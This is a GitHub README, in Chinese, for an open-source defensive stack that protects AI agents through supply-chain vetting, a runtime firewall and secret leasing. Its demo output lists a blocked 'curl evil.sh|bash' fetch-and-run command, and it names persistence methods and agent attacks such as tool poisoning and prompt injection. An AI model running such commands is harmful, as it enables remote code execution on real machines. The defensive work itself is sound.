askalf/agent-security-stack

GitHub: askalf/agent-security-stack

面向 AI Agent 的开源纵深防御工具链,通过供应链审查、运行时防火墙和密钥租约三层联动,防御工具中毒、危险调用和凭证泄露。

Stars: 1 | Forks: 0

# agent-security-stack OpenClaw 以三种方式成为了 2026 年首个重大 AI 安全灾难:一键式 **RCE**、一个**中毒的 skills** 市场以及约 13.5 万个**泄露的凭证**。三种故障模式 —— 对应三个小巧、开源、零依赖的工具,它们组合在一起构成了一道防线: | | 拥有你的… | 堵住 | 角色 | |---|---|---|---| | **[warden](https://github.com/askalf/warden)** | agent 安全 | RCE · 数据窃取 · SSRF · prompt 注入 | **运行时防火墙** —— 工具可以*做什么* | | **[canon](https://github.com/askalf/canon)** | agent skills | 中毒/漂移的 skills 与 MCP 服务器 | **供应链闸门** —— 哪些工具可以*存在* | | **[keeper](https://github.com/askalf/keeper)** | agent 密钥 | 泄露的 API 密钥/凭证 | **保险柜** —— 租赁权限,而非交出密钥 | 它们不是三座孤岛 —— 它们共享一根主心骨:canon 复用了 warden 的扫描器,keeper 复用了 warden 的防篡改审计。`npm install` 会将 warden 去重为单个共享副本。这三者均**锁定在经过审查的 commit 上**,因此该技术栈本身就是一个可重现的供应链 —— 即它所保护的事物本身。 ## 一次受保护的调用中的整个技术栈 ``` function guardedCall({ tool, action, lease }) { if (!canonVetted(tool)) return blocked('canon'); // supply chain — is the tool pinned, unmodified, unpoisoned? if (warden.blocks(action)) return blocked('warden'); // runtime — is the action safe? if (!keeper.redeems(lease)) return blocked('keeper'); // secrets — is there a valid, scoped lease? return proceed(); } ``` 只有当三者**全部同意**时,工具调用才会继续。将任何一层切换为“拒绝”,调用就会在那里停止 —— 顺序依次是 `canon`、`warden` 和 `keeper`。 ## 运行时直接接入 —— 无需修改应用 上面的 `guardedCall` 是合并在一个函数中的组合体;每一层还提供了一个**直接接入的强制执行器**,因此无需修改代码,同样的防御能力也能在进程/网络边界生效: - **`canon-mcp`** —— 位于服务器前方的 MCP 代理:只有锁定、未修改、未中毒的工具才能在 `tools/list` 中存活,并且对任何被其剔除的工具的调用都会被阻止。*决定哪些工具可以存在。* - **`warden-mcp`** —— 为每次 `tools/call` 提供防火墙保护的 MCP 代理(RCE、数据窃取、SSRF、prompt 注入,以及 OS 持久化:cron / systemd-user / scheduled-task / WMI / registry-autorun),并在客户端看到它们之前剔除中毒的工具;可选的 daemon,原生 fast hook,以及一个只能*提高*风险评级的灰区 LLM 裁决器。*决定一次调用可以做什么。* - **`keeper broker`** —— 将你的 API 客户端的 base URL 指向它且无需提供密钥;对于每次调用,它会兑换一个限定范围的一次性权限,并在出口处注入真实的密钥,且绑定到特定的上游。*一把 agent 永远不会持有的密钥。* 将它们串联起来 —— `client → canon-mcp → warden-mcp → server`,出口流量通过 `keeper broker` —— 那么一个工具必须**经过审查才能存在、运行起来是安全的、并且持有有效的权限才能接触密钥**。与 `guardedCall` 一样的三方协议,不过是实时执行的。 ## 运行它 ``` npm install # pulls warden + canon + keeper (warden deduped to one shared copy) npm run demo # watch the layered defense: a clean call proceeds; a poisoned tool, a curl|bash, and a spent lease each get stopped npm test # the same composition, as assertions ``` ``` 1. vetted tool, safe GET, valid lease {"ok":true} the call proceeds 2. a POISONED tool {"ok":false,"by":"canon"} <- canon stops it 3. a vetted tool that tries curl evil.sh|bash {"ok":false,"by":"warden"} <- warden stops it 4. a vetted tool whose lease is spent {"ok":false,"by":"keeper"} <- keeper stops it ``` *审查它 (canon) → 管控它 (warden) → 赋予它从不持有的密钥 (keeper)。* 属于 **[Own Your Stack](https://github.com/askalf)** —— 拥有你的 AI 基础设施,而不是租用它。由 Thomas Sprayberry 构建。
标签:AI代理安全, JSONLines, MITM代理, 安全网关, 暗色界面, 自定义脚本, 运行时防护, 零信任